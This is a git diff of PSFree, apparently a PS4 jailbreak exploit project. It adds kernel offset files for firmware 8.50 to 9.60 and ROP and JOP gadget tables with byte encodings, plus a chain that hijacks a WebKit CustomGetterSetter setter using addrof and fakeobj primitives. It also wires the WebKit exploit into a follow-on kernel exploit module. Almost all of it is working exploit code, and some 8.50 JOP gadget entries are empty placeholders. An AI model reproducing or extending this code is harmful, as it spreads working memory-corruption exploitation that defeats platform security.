export const off_cpuid_to_pcpu = 0x228e6b0;
|
||||
|
||||
export const off_sysent_661 = 0x11040c0;
|
||||
export const jmp_rsi = 0xe629c;
|
||||
|
||||
export const patch_elf_loc = './kpatch/800.bin'; // Relative to `../../lapse.mjs`
|
||||
35
src/lapse/ps4/850.mjs
Normal file
35
src/lapse/ps4/850.mjs
Normal file
@@ -0,0 +1,35 @@
|
||||
/* Copyright (C) 2025 anonymous
|
||||
|
||||
This file is part of PSFree.
|
||||
|
||||
PSFree is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU Affero General Public License as
|
||||
published by the Free Software Foundation, either version 3 of the
|
||||
License, or (at your option) any later version.
|
||||
|
||||
PSFree is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU Affero General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU Affero General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>. */
|
||||
|
||||
// 8.50
|
||||
|
||||
export const pthread_offsets = new Map(Object.entries({
|
||||
'pthread_create' : 0xebb0,
|
||||
'pthread_join' : 0x29d50,
|
||||
'pthread_barrier_init' : 0x283c0,
|
||||
'pthread_barrier_wait' : 0xb8c0,
|
||||
'pthread_barrier_destroy' : 0x9c10,
|
||||
'pthread_exit' : 0x25310,
|
||||
}));
|
||||
|
||||
export const off_kstr = 0x7da91c;
|
||||
export const off_cpuid_to_pcpu = 0x1cfc240;
|
||||
|
||||
export const off_sysent_661 = 0x11041b0;
|
||||
export const jmp_rsi = 0xc810d;
|
||||
|
||||
export const patch_elf_loc = './kpatch/850.bin'; // Relative to `../../lapse.mjs`
|
||||
35
src/lapse/ps4/852.mjs
Normal file
35
src/lapse/ps4/852.mjs
Normal file
@@ -0,0 +1,35 @@
|
||||
/* Copyright (C) 2025 anonymous
|
||||
|
||||
This file is part of PSFree.
|
||||
|
||||
PSFree is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU Affero General Public License as
|
||||
published by the Free Software Foundation, either version 3 of the
|
||||
License, or (at your option) any later version.
|
||||
|
||||
PSFree is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU Affero General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU Affero General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>. */
|
||||
|
||||
// 8.52
|
||||
|
||||
export const pthread_offsets = new Map(Object.entries({
|
||||
'pthread_create' : 0xebb0,
|
||||
'pthread_join' : 0x29d60,
|
||||
'pthread_barrier_init' : 0x283d0,
|
||||
'pthread_barrier_wait' : 0xb8c0,
|
||||
'pthread_barrier_destroy' : 0x9c10,
|
||||
'pthread_exit' : 0x25320,
|
||||
}));
|
||||
|
||||
export const off_kstr = 0x7da91c;
|
||||
export const off_cpuid_to_pcpu = 0x1cfc240;
|
||||
|
||||
export const off_sysent_661 = 0x11041b0;
|
||||
export const jmp_rsi = 0xc810d;
|
||||
|
||||
export const patch_elf_loc = './kpatch/850.bin'; // Relative to `../../lapse.mjs`
|
||||
35
src/lapse/ps4/900.mjs
Normal file
35
src/lapse/ps4/900.mjs
Normal file
@@ -0,0 +1,35 @@
|
||||
/* Copyright (C) 2025 anonymous
|
||||
|
||||
This file is part of PSFree.
|
||||
|
||||
PSFree is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU Affero General Public License as
|
||||
published by the Free Software Foundation, either version 3 of the
|
||||
License, or (at your option) any later version.
|
||||
|
||||
PSFree is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU Affero General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU Affero General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>. */
|
||||
|
||||
// 9.00
|
||||
|
||||
export const pthread_offsets = new Map(Object.entries({
|
||||
'pthread_create' : 0x25510,
|
||||
'pthread_join' : 0xafa0,
|
||||
'pthread_barrier_init' : 0x273d0,
|
||||
'pthread_barrier_wait' : 0xa320,
|
||||
'pthread_barrier_destroy' : 0xfea0,
|
||||
'pthread_exit' : 0x77a0,
|
||||
}));
|
||||
|
||||
export const off_kstr = 0x7f6f27;
|
||||
export const off_cpuid_to_pcpu = 0x21ef2a0;
|
||||
|
||||
export const off_sysent_661 = 0x1107f00;
|
||||
export const jmp_rsi = 0x4c7ad;
|
||||
|
||||
export const patch_elf_loc = './kpatch/900.bin'; // Relative to `../../lapse.mjs`
|
||||
35
src/lapse/ps4/903.mjs
Normal file
35
src/lapse/ps4/903.mjs
Normal file
@@ -0,0 +1,35 @@
|
||||
/* Copyright (C) 2025 anonymous
|
||||
|
||||
This file is part of PSFree.
|
||||
|
||||
PSFree is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU Affero General Public License as
|
||||
published by the Free Software Foundation, either version 3 of the
|
||||
License, or (at your option) any later version.
|
||||
|
||||
PSFree is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU Affero General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU Affero General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>. */
|
||||
|
||||
// 9.03, 9.04
|
||||
|
||||
export const pthread_offsets = new Map(Object.entries({
|
||||
'pthread_create' : 0x25510,
|
||||
'pthread_join' : 0xafa0,
|
||||
'pthread_barrier_init' : 0x273d0,
|
||||
'pthread_barrier_wait' : 0xa320,
|
||||
'pthread_barrier_destroy' : 0xfea0,
|
||||
'pthread_exit' : 0x77a0,
|
||||
}));
|
||||
|
||||
export const off_kstr = 0x7f4ce7;
|
||||
export const off_cpuid_to_pcpu = 0x21eb2a0;
|
||||
|
||||
export const off_sysent_661 = 0x1103f00;
|
||||
export const jmp_rsi = 0x5325b;
|
||||
|
||||
export const patch_elf_loc = './kpatch/903.bin'; // Relative to `../../lapse.mjs`
|
||||
35
src/lapse/ps4/950.mjs
Normal file
35
src/lapse/ps4/950.mjs
Normal file
@@ -0,0 +1,35 @@
|
||||
/* Copyright (C) 2025 anonymous
|
||||
|
||||
This file is part of PSFree.
|
||||
|
||||
PSFree is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU Affero General Public License as
|
||||
published by the Free Software Foundation, either version 3 of the
|
||||
License, or (at your option) any later version.
|
||||
|
||||
PSFree is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU Affero General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU Affero General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>. */
|
||||
|
||||
// 9.50, 9.51, 9.60
|
||||
|
||||
export const pthread_offsets = new Map(Object.entries({
|
||||
'pthread_create' : 0x1c540,
|
||||
'pthread_join' : 0x9560,
|
||||
'pthread_barrier_init' : 0x24200,
|
||||
'pthread_barrier_wait' : 0x1efb0,
|
||||
'pthread_barrier_destroy' : 0x19450,
|
||||
'pthread_exit' : 0x28ca0,
|
||||
}));
|
||||
|
||||
export const off_kstr = 0x769a88;
|
||||
export const off_cpuid_to_pcpu = 0x21a66c0;
|
||||
|
||||
export const off_sysent_661 = 0x1100ee0;
|
||||
export const jmp_rsi = 0x15a6d;
|
||||
|
||||
export const patch_elf_loc = './kpatch/950.bin'; // Relative to `../../lapse.mjs`
|
||||
0
src/lapse/ps5/.gitinclude
Normal file
0
src/lapse/ps5/.gitinclude
Normal file
@@ -19,7 +19,7 @@ import { Int, lohi_from_one } from './int64.mjs';
|
||||
import { get_view_vector } from './memtools.mjs';
|
||||
import { Addr } from './mem.mjs';
|
||||
|
||||
import * as config from '/config.mjs';
|
||||
import * as config from '../config.mjs';
|
||||
|
||||
// put the sycall names that you want to use here
|
||||
export const syscall_map = new Map(Object.entries({
|
||||
@@ -542,7 +542,7 @@ export function get_gadget(map, insn_str) {
|
||||
|
||||
function load_fw_specific(version) {
|
||||
if (version & 0x10000) {
|
||||
throw RangeError('ps5 not supported yet');
|
||||
throw RangeError('PS5 not supported yet');
|
||||
}
|
||||
|
||||
const value = version & 0xffff;
|
||||
@@ -550,14 +550,26 @@ function load_fw_specific(version) {
|
||||
// ECMAScript 2015. 6.xx WebKit poisons the pointer fields of some types
|
||||
// which can be annoying to deal with
|
||||
if (value < 0x700) {
|
||||
throw RangeError("PS4 firmwares < 7.00 isn't supported");
|
||||
throw RangeError('PS4 firmwares < 7.00 isn\'t supported');
|
||||
}
|
||||
|
||||
if (0x800 <= value && value < 0x850) {
|
||||
return import('/rop/800.mjs');
|
||||
if (0x800 <= value && value < 0x850) { // 8.00, 8.01, 8.03
|
||||
return import('../rop/ps4/800.mjs');
|
||||
}
|
||||
|
||||
throw RangeError('firmware not supported');
|
||||
if (0x850 <= value && value < 0x900) { // 8.50, 8.52
|
||||
return import('../rop/ps4/850.mjs');
|
||||
}
|
||||
|
||||
if (0x900 <= value && value < 0x950) { // 9.00, 9.03, 9.04
|
||||
return import('../rop/ps4/900.mjs');
|
||||
}
|
||||
|
||||
if (0x950 <= value && value < 0x1000) { // 9.50, 9.51, 9.60
|
||||
return import('../rop/ps4/950.mjs');
|
||||
}
|
||||
|
||||
throw RangeError('Firmware not supported');
|
||||
}
|
||||
|
||||
export let gadgets = null;
|
||||
|
||||
@@ -15,12 +15,12 @@ GNU Affero General Public License for more details.
|
||||
You should have received a copy of the GNU Affero General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>. */
|
||||
|
||||
import { Int, lohi_from_one } from '/module/int64.mjs';
|
||||
import { Addr } from '/module/mem.mjs';
|
||||
import { BufferView } from '/module/rw.mjs';
|
||||
import { Int, lohi_from_one } from './int64.mjs';
|
||||
import { Addr } from './mem.mjs';
|
||||
import { BufferView } from './rw.mjs';
|
||||
|
||||
import * as config from '/config.mjs';
|
||||
import * as mt from '/module/memtools.mjs';
|
||||
import * as config from '../config.mjs';
|
||||
import * as mt from './memtools.mjs';
|
||||
|
||||
// View constructors will always get the buffer property in order to make sure
|
||||
// that the JSArrayBufferView is a WastefulTypedArray. m_vector may change if
|
||||
@@ -76,8 +76,8 @@ function ViewMixin(superclass) {
|
||||
// isn't one of the built-in TypedArrays. this is a violation of the
|
||||
// ECMAScript spec at that time
|
||||
//
|
||||
// TODO assumes ps4, support ps5 as well
|
||||
// FIXME define the from/of workaround functions once
|
||||
// TODO: Assumes PS4, support PS5 as well
|
||||
// FIXME: Define the from/of workaround functions once
|
||||
if (0x600 <= config.target && config.target < 0x1000) {
|
||||
res.from = function from(...args) {
|
||||
const base = this.__proto__;
|
||||
|
||||
@@ -33,10 +33,10 @@ along with this program. If not, see <https://www.gnu.org/licenses/>. */
|
||||
// * Helped in figuring out the size of JSC::ArrayBufferContents and its
|
||||
// needed offsets on different firmwares (PS5).
|
||||
|
||||
import { Int } from '/module/int64.mjs';
|
||||
import { Memory } from '/module/mem.mjs';
|
||||
import { KB, MB } from '/module/offset.mjs';
|
||||
import { BufferView } from '/module/rw.mjs';
|
||||
import { Int } from './module/int64.mjs';
|
||||
import { Memory } from './module/mem.mjs';
|
||||
import { KB, MB } from './module/offset.mjs';
|
||||
import { BufferView } from './module/rw.mjs';
|
||||
|
||||
import {
|
||||
die,
|
||||
@@ -46,10 +46,10 @@ import {
|
||||
sleep,
|
||||
hex,
|
||||
align,
|
||||
} from '/module/utils.mjs';
|
||||
} from './module/utils.mjs';
|
||||
|
||||
import * as config from '/config.mjs';
|
||||
import * as off from '/module/offset.mjs';
|
||||
import * as config from './config.mjs';
|
||||
import * as off from './module/offset.mjs';
|
||||
|
||||
// check if we are running on a supported firmware version
|
||||
const [is_ps4, version] = (() => {
|
||||
@@ -72,18 +72,22 @@ const [is_ps4, version] = (() => {
|
||||
})();
|
||||
|
||||
const ssv_len = (() => {
|
||||
if (0x600 <= config.target && config.target < 0x650) {
|
||||
return 0x58;
|
||||
}
|
||||
|
||||
// PS4 9.xx and all supported PS5 versions
|
||||
if (config.target >= 0x900) {
|
||||
// All supported PS5 versions
|
||||
if (!is_ps4) {
|
||||
return 0x50;
|
||||
}
|
||||
|
||||
if (0x650 <= config.target && config.target < 0x900) {
|
||||
// PS4
|
||||
if (0x600 <= version && version < 0x650) {
|
||||
return 0x58;
|
||||
}
|
||||
if (0x650 <= version && version < 0x900) {
|
||||
return 0x48;
|
||||
}
|
||||
if (0x900 <= version) {
|
||||
return 0x50;
|
||||
}
|
||||
throw new RangeError(`unsupported console/firmware: ps${is_ps4 ? '4' : '5'}, version: ${hex(version)}`);
|
||||
})();
|
||||
|
||||
// these constants are expected to be divisible by 2
|
||||
@@ -454,7 +458,7 @@ async function make_rdr(view) {
|
||||
log(`view's buffer address: ${addr}`);
|
||||
return new Reader(rstr, view);
|
||||
}
|
||||
die("JSString wasn't modified");
|
||||
die('JSString wasn\'t modified');
|
||||
}
|
||||
|
||||
// we will create a JSC::CodeBlock whose m_constantRegisters is set to an array
|
||||
@@ -856,7 +860,6 @@ async function main() {
|
||||
await make_arw(rdr, view2, pop);
|
||||
|
||||
clear_log();
|
||||
// path to your script that will use the exploit
|
||||
import('./code.mjs');
|
||||
import('./lapse.mjs');
|
||||
}
|
||||
main();
|
||||
|
||||
@@ -15,18 +15,20 @@ GNU Affero General Public License for more details.
|
||||
You should have received a copy of the GNU Affero General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>. */
|
||||
|
||||
import { mem } from '/module/mem.mjs';
|
||||
import { KB } from '/module/offset.mjs';
|
||||
import { ChainBase, get_gadget } from '/module/chain.mjs';
|
||||
import { BufferView } from '/module/rw.mjs';
|
||||
// 8.00, 8.01, 8.03
|
||||
|
||||
import { mem } from '../../module/mem.mjs';
|
||||
import { KB } from '../../module/offset.mjs';
|
||||
import { ChainBase, get_gadget } from '../../module/chain.mjs';
|
||||
import { BufferView } from '../../module/rw.mjs';
|
||||
|
||||
import {
|
||||
get_view_vector,
|
||||
resolve_import,
|
||||
init_syscall_array,
|
||||
} from '/module/memtools.mjs';
|
||||
} from '../../module/memtools.mjs';
|
||||
|
||||
import * as off from '/module/offset.mjs';
|
||||
import * as off from '../../module/offset.mjs';
|
||||
|
||||
// WebKit offsets of imported functions
|
||||
const offset_wk_stack_chk_fail = 0x8d8;
|
||||
@@ -82,39 +84,39 @@ const jop5 = 'pop rsp; ret';
|
||||
// pop rbp
|
||||
|
||||
const webkit_gadget_offsets = new Map(Object.entries({
|
||||
'pop rax; ret' : 0x0000000000035a1b,
|
||||
'pop rbx; ret' : 0x000000000001537c,
|
||||
'pop rcx; ret' : 0x0000000000025ecb,
|
||||
'pop rdx; ret' : 0x0000000000060f52,
|
||||
'pop rax; ret' : 0x0000000000035a1b, // `58 c3`
|
||||
'pop rbx; ret' : 0x000000000001537c, // `5b c3`
|
||||
'pop rcx; ret' : 0x0000000000025ecb, // `59 c3`
|
||||
'pop rdx; ret' : 0x0000000000060f52, // `5a c3`
|
||||
|
||||
'pop rbp; ret' : 0x00000000000000b6,
|
||||
'pop rsi; ret' : 0x000000000003bd77,
|
||||
'pop rdi; ret' : 0x00000000001e3f87,
|
||||
'pop rsp; ret' : 0x00000000000bf669,
|
||||
'pop rbp; ret' : 0x00000000000000b6, // `5d c3`
|
||||
'pop rsi; ret' : 0x000000000003bd77, // `5e c3`
|
||||
'pop rdi; ret' : 0x00000000001e3f87, // `5f c3`
|
||||
'pop rsp; ret' : 0x00000000000bf669, // `5c c3`
|
||||
|
||||
'pop r8; ret' : 0x0000000000097442,
|
||||
'pop r9; ret' : 0x00000000006f501f,
|
||||
'pop r10; ret' : 0x0000000000060f51,
|
||||
'pop r11; ret' : 0x0000000000d2a629,
|
||||
'pop r8; ret' : 0x00000000005ee860, // `41 58 c3`
|
||||
'pop r9; ret' : 0x00000000006f501f, // `47 59 c3`
|
||||
'pop r10; ret' : 0x0000000000060f51, // `47 5a c3`
|
||||
'pop r11; ret' : 0x00000000013cad93, // `41 5b c3`
|
||||
|
||||
'pop r12; ret' : 0x0000000000d8968d,
|
||||
'pop r13; ret' : 0x00000000016ccff1,
|
||||
'pop r14; ret' : 0x000000000003bd76,
|
||||
'pop r15; ret' : 0x00000000002499df,
|
||||
'pop r12; ret' : 0x0000000000d8968d, // `41 5c c3`
|
||||
'pop r13; ret' : 0x00000000019a0edb, // `41 5d c3`
|
||||
'pop r14; ret' : 0x000000000003bd76, // `41 5e c3`
|
||||
'pop r15; ret' : 0x00000000002499df, // `41 5f c3`
|
||||
|
||||
'ret' : 0x0000000000000032,
|
||||
'leave; ret' : 0x0000000000291fd7,
|
||||
'ret' : 0x0000000000000032, // `c3`
|
||||
'leave; ret' : 0x0000000000291fd7, // `c9 c3`
|
||||
|
||||
'mov rax, qword ptr [rax]; ret' : 0x000000000002dc62,
|
||||
'mov qword ptr [rdi], rax; ret' : 0x000000000005b1bb,
|
||||
'mov dword ptr [rdi], eax; ret' : 0x000000000001f864,
|
||||
'mov dword ptr [rax], esi; ret' : 0x00000000002915bc,
|
||||
'mov rax, qword ptr [rax]; ret' : 0x000000000002dc62, // `48 8b 00 c3`
|
||||
'mov qword ptr [rdi], rax; ret' : 0x000000000005b1bb, // `48 89 07 c3`
|
||||
'mov dword ptr [rdi], eax; ret' : 0x000000000001f864, // `89 07 c3`
|
||||
'mov dword ptr [rax], esi; ret' : 0x00000000002915bc, // `89 30 c3`
|
||||
|
||||
[jop1] : 0x0000000001988320,
|
||||
[jop2] : 0x000000000076b970,
|
||||
[jop3] : 0x0000000000f62f95,
|
||||
[jop4] : 0x00000000021af6ad,
|
||||
[jop5] : 0x00000000000bf669,
|
||||
[jop1] : 0x0000000001988320, // `48 8b 7e 08 48 8b 07 ff 60 70`
|
||||
[jop2] : 0x000000000076b970, // `55 48 89 e5 48 8b 07 ff 50 30`
|
||||
[jop3] : 0x0000000000f62f95, // `48 8b 52 50 b9 0a 00 00 00 ff 50 40`
|
||||
[jop4] : 0x00000000021af6ad, // `52 bf fe 84 97 ac ff 20`
|
||||
[jop5] : 0x00000000000bf669, // `5c c3`
|
||||
}));
|
||||
|
||||
const libc_gadget_offsets = new Map(Object.entries({
|
||||
261
src/rop/ps4/850.mjs
Normal file
261
src/rop/ps4/850.mjs
Normal file
@@ -0,0 +1,261 @@
|
||||
/* Copyright (C) 2023-2025 anonymous
|
||||
|
||||
This file is part of PSFree.
|
||||
|
||||
PSFree is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU Affero General Public License as
|
||||
published by the Free Software Foundation, either version 3 of the
|
||||
License, or (at your option) any later version.
|
||||
|
||||
PSFree is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU Affero General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU Affero General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>. */
|
||||
|
||||
// 8.50, 8.52
|
||||
|
||||
import { mem } from '../../module/mem.mjs';
|
||||
import { KB } from '../../module/offset.mjs';
|
||||
import { ChainBase, get_gadget } from '../../module/chain.mjs';
|
||||
import { BufferView } from '../../module/rw.mjs';
|
||||
|
||||
import {
|
||||
get_view_vector,
|
||||
resolve_import,
|
||||
init_syscall_array,
|
||||
} from '../../module/memtools.mjs';
|
||||
|
||||
import * as off from '../../module/offset.mjs';
|
||||
|
||||
// WebKit offsets of imported functions
|
||||
const offset_wk_stack_chk_fail = 0x8d8;
|
||||
const offset_wk_strlen = 0x918;
|
||||
|
||||
// libSceNKWebKit.sprx
|
||||
export let libwebkit_base = null;
|
||||
// libkernel_web.sprx
|
||||
export let libkernel_base = null;
|
||||
// libSceLibcInternal.sprx
|
||||
export let libc_base = null;
|
||||
|
||||
// TODO: gadgets for the JOP chain
|
||||
//
|
||||
// we'll use JSC::CustomGetterSetter.m_setter to redirect execution. its
|
||||
// type is PutPropertySlot::PutValueFunc
|
||||
const jop1 = `
|
||||
mov rdi, qword ptr [rsi + 8]
|
||||
mov rax, qword ptr [rdi]
|
||||
jmp qword ptr [rax + 0x70]
|
||||
`;
|
||||
// rbp is now pushed, any extra objects pushed by the call instructions can be
|
||||
// ignored
|
||||
const jop2 = `
|
||||
push rbp
|
||||
mov rbp, rsp
|
||||
mov rax, qword ptr [rdi]
|
||||
call qword ptr [rax + 0x30]
|
||||
`;
|
||||
const jop3 = `
|
||||
mov rdx, qword ptr [rdx + 0x50]
|
||||
mov ecx, 0xa
|
||||
call qword ptr [rax + 0x40]
|
||||
`;
|
||||
const jop4 = `
|
||||
push rdx
|
||||
mov edi, 0xac9784fe
|
||||
jmp qword ptr [rax]
|
||||
`;
|
||||
const jop5 = 'pop rsp; ret';
|
||||
|
||||
// the ps4 firmware is compiled to use rbp as a frame pointer
|
||||
//
|
||||
// The JOP chain pushed rbp and moved rsp to rbp before the pivot. The chain
|
||||
// must save rbp (rsp before the pivot) somewhere if it uses it. The chain must
|
||||
// restore rbp (if needed) before the epilogue.
|
||||
//
|
||||
// The epilogue will move rbp to rsp (restore old rsp) and pop rbp (which we
|
||||
// pushed earlier before the pivot, thus restoring the old rbp).
|
||||
//
|
||||
// leave instruction equivalent:
|
||||
// mov rsp, rbp
|
||||
// pop rbp
|
||||
|
||||
const webkit_gadget_offsets = new Map(Object.entries({
|
||||
'pop rax; ret' : 0x000000000001ac7b, // `58 c3`
|
||||
'pop rbx; ret' : 0x000000000000c46d, // `5b c3`
|
||||
'pop rcx; ret' : 0x000000000001ac5f, // `59 c3`
|
||||
'pop rdx; ret' : 0x0000000000282ea2, // `5a c3`
|
||||
|
||||
'pop rbp; ret' : 0x00000000000000b6, // `5d c3`
|
||||
'pop rsi; ret' : 0x0000000000050878, // `5e c3`
|
||||
'pop rdi; ret' : 0x0000000000091afa, // `5f c3`
|
||||
'pop rsp; ret' : 0x0000000000073c2b, // `5c c3`
|
||||
|
||||
'pop r8; ret' : 0x000000000003b4b3, // `47 58 c3`
|
||||
'pop r9; ret' : 0x00000000010f372f, // `47 59 c3`
|
||||
'pop r10; ret' : 0x0000000000b1a721, // `47 5a c3`
|
||||
'pop r11; ret' : 0x0000000000eaba69, // `4f 5b c3`
|
||||
|
||||
'pop r12; ret' : 0x0000000000eaf80d, // `47 5c c3`
|
||||
'pop r13; ret' : 0x00000000019a0d8b, // `41 5d c3`
|
||||
'pop r14; ret' : 0x0000000000050877, // `41 5e c3`
|
||||
'pop r15; ret' : 0x00000000007e2efd, // `47 5f c3`
|
||||
|
||||
'ret' : 0x0000000000000032, // `c3`
|
||||
'leave; ret' : 0x000000000001ba53, // `c9 c3`
|
||||
|
||||
'mov rax, qword ptr [rax]; ret' : 0x000000000003734c, // `48 8b 00 c3`
|
||||
'mov qword ptr [rdi], rax; ret' : 0x000000000001433b, // `48 89 07 c3`
|
||||
'mov dword ptr [rdi], eax; ret' : 0x0000000000008e7f, // `89 07 c3`
|
||||
'mov dword ptr [rax], esi; ret' : 0x0000000000cf6c22, // `89 30 c3`
|
||||
|
||||
[jop1] : 0x0000000000000000, // ``
|
||||
[jop2] : 0x0000000000000000, // ``
|
||||
[jop3] : 0x0000000000000000, // ``
|
||||
[jop4] : 0x0000000000000000, // ``
|
||||
[jop5] : 0x0000000000000000, // ``
|
||||
}));
|
||||
|
||||
const libc_gadget_offsets = new Map(Object.entries({
|
||||
'getcontext' : 0x25904,
|
||||
'setcontext' : 0x29c38,
|
||||
}));
|
||||
|
||||
const libkernel_gadget_offsets = new Map(Object.entries({
|
||||
// returns the location of errno
|
||||
'__error' : 0x10750,
|
||||
}));
|
||||
|
||||
export const gadgets = new Map();
|
||||
|
||||
function get_bases() {
|
||||
const textarea = document.createElement('textarea');
|
||||
const webcore_textarea = mem.addrof(textarea).readp(off.jsta_impl);
|
||||
const textarea_vtable = webcore_textarea.readp(0);
|
||||
const off_ta_vt = 0x236d4a0;
|
||||
const libwebkit_base = textarea_vtable.sub(off_ta_vt);
|
||||
|
||||
const stack_chk_fail_import = libwebkit_base.add(offset_wk_stack_chk_fail);
|
||||
const stack_chk_fail_addr = resolve_import(stack_chk_fail_import);
|
||||
const off_scf = 0x153c0;
|
||||
const libkernel_base = stack_chk_fail_addr.sub(off_scf);
|
||||
|
||||
const strlen_import = libwebkit_base.add(offset_wk_strlen);
|
||||
const strlen_addr = resolve_import(strlen_import);
|
||||
const off_strlen = 0x4ef40;
|
||||
const libc_base = strlen_addr.sub(off_strlen);
|
||||
|
||||
return [
|
||||
libwebkit_base,
|
||||
libkernel_base,
|
||||
libc_base,
|
||||
];
|
||||
}
|
||||
|
||||
export function init_gadget_map(gadget_map, offset_map, base_addr) {
|
||||
for (const [insn, offset] of offset_map) {
|
||||
gadget_map.set(insn, base_addr.add(offset));
|
||||
}
|
||||
}
|
||||
|
||||
class Chain850Base extends ChainBase {
|
||||
push_end() {
|
||||
this.push_gadget('leave; ret');
|
||||
}
|
||||
|
||||
push_get_retval() {
|
||||
this.push_gadget('pop rdi; ret');
|
||||
this.push_value(this.retval_addr);
|
||||
this.push_gadget('mov qword ptr [rdi], rax; ret');
|
||||
}
|
||||
|
||||
push_get_errno() {
|
||||
this.push_gadget('pop rdi; ret');
|
||||
this.push_value(this.errno_addr);
|
||||
|
||||
this.push_call(this.get_gadget('__error'));
|
||||
|
||||
this.push_gadget('mov rax, qword ptr [rax]; ret');
|
||||
this.push_gadget('mov dword ptr [rdi], eax; ret');
|
||||
}
|
||||
|
||||
push_clear_errno() {
|
||||
this.push_call(this.get_gadget('__error'));
|
||||
this.push_gadget('pop rsi; ret');
|
||||
this.push_value(0);
|
||||
this.push_gadget('mov dword ptr [rax], esi; ret');
|
||||
}
|
||||
}
|
||||
|
||||
export class Chain850 extends Chain850Base {
|
||||
constructor() {
|
||||
super();
|
||||
const [rdx, rdx_bak] = mem.gc_alloc(0x58);
|
||||
rdx.write64(off.js_cell, this._empty_cell);
|
||||
rdx.write64(0x50, this.stack_addr);
|
||||
this._rsp = mem.fakeobj(rdx);
|
||||
}
|
||||
|
||||
run() {
|
||||
this.check_allow_run();
|
||||
this._rop.launch = this._rsp;
|
||||
this.dirty();
|
||||
}
|
||||
}
|
||||
|
||||
export const Chain = Chain850;
|
||||
|
||||
export function init(Chain) {
|
||||
const syscall_array = [];
|
||||
[libwebkit_base, libkernel_base, libc_base] = get_bases();
|
||||
|
||||
init_gadget_map(gadgets, webkit_gadget_offsets, libwebkit_base);
|
||||
init_gadget_map(gadgets, libc_gadget_offsets, libc_base);
|
||||
init_gadget_map(gadgets, libkernel_gadget_offsets, libkernel_base);
|
||||
init_syscall_array(syscall_array, libkernel_base, 300 * KB);
|
||||
|
||||
let gs = Object.getOwnPropertyDescriptor(window, 'location').set;
|
||||
// JSCustomGetterSetter.m_getterSetter
|
||||
gs = mem.addrof(gs).readp(0x28);
|
||||
|
||||
// sizeof JSC::CustomGetterSetter
|
||||
const size_cgs = 0x18;
|
||||
const [gc_buf, gc_back] = mem.gc_alloc(size_cgs);
|
||||
mem.cpy(gc_buf, gs, size_cgs);
|
||||
// JSC::CustomGetterSetter.m_setter
|
||||
gc_buf.write64(0x10, get_gadget(gadgets, jop1));
|
||||
|
||||
const proto = Chain.prototype;
|
||||
// _rop must have a descriptor initially in order for the structure to pass
|
||||
// setHasReadOnlyOrGetterSetterPropertiesExcludingProto() thus forcing a
|
||||
// call to JSObject::putInlineSlow(). putInlineSlow() is the code path that
|
||||
// checks for any descriptor to run
|
||||
//
|
||||
// the butterfly's indexing type must be something the GC won't inspect
|
||||
// like DoubleShape. it will be used to store the JOP table's pointer
|
||||
const _rop = {get launch() {throw Error('never call')}, 0: 1.1};
|
||||
// replace .launch with the actual custom getter/setter
|
||||
mem.addrof(_rop).write64(off.js_inline_prop, gc_buf);
|
||||
proto._rop = _rop;
|
||||
|
||||
// JOP table
|
||||
const rax_ptrs = new BufferView(0x100);
|
||||
const rax_ptrs_p = get_view_vector(rax_ptrs);
|
||||
proto._rax_ptrs = rax_ptrs;
|
||||
|
||||
rax_ptrs.write64(0x70, get_gadget(gadgets, jop2));
|
||||
rax_ptrs.write64(0x30, get_gadget(gadgets, jop3));
|
||||
rax_ptrs.write64(0x40, get_gadget(gadgets, jop4));
|
||||
rax_ptrs.write64(0, get_gadget(gadgets, jop5));
|
||||
|
||||
const jop_buffer_p = mem.addrof(_rop).readp(off.js_butterfly);
|
||||
jop_buffer_p.write64(0, rax_ptrs_p);
|
||||
|
||||
const empty = {};
|
||||
proto._empty_cell = mem.addrof(empty).read64(off.js_cell);
|
||||
|
||||
Chain.init_class(gadgets, syscall_array);
|
||||
}
|
||||
261
src/rop/ps4/900.mjs
Normal file
261
src/rop/ps4/900.mjs
Normal file
@@ -0,0 +1,261 @@
|
||||
/* Copyright (C) 2023-2025 anonymous
|
||||
|
||||
This file is part of PSFree.
|
||||
|
||||
PSFree is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU Affero General Public License as
|
||||
published by the Free Software Foundation, either version 3 of the
|
||||
License, or (at your option) any later version.
|
||||
|
||||
PSFree is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU Affero General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU Affero General Public License
|
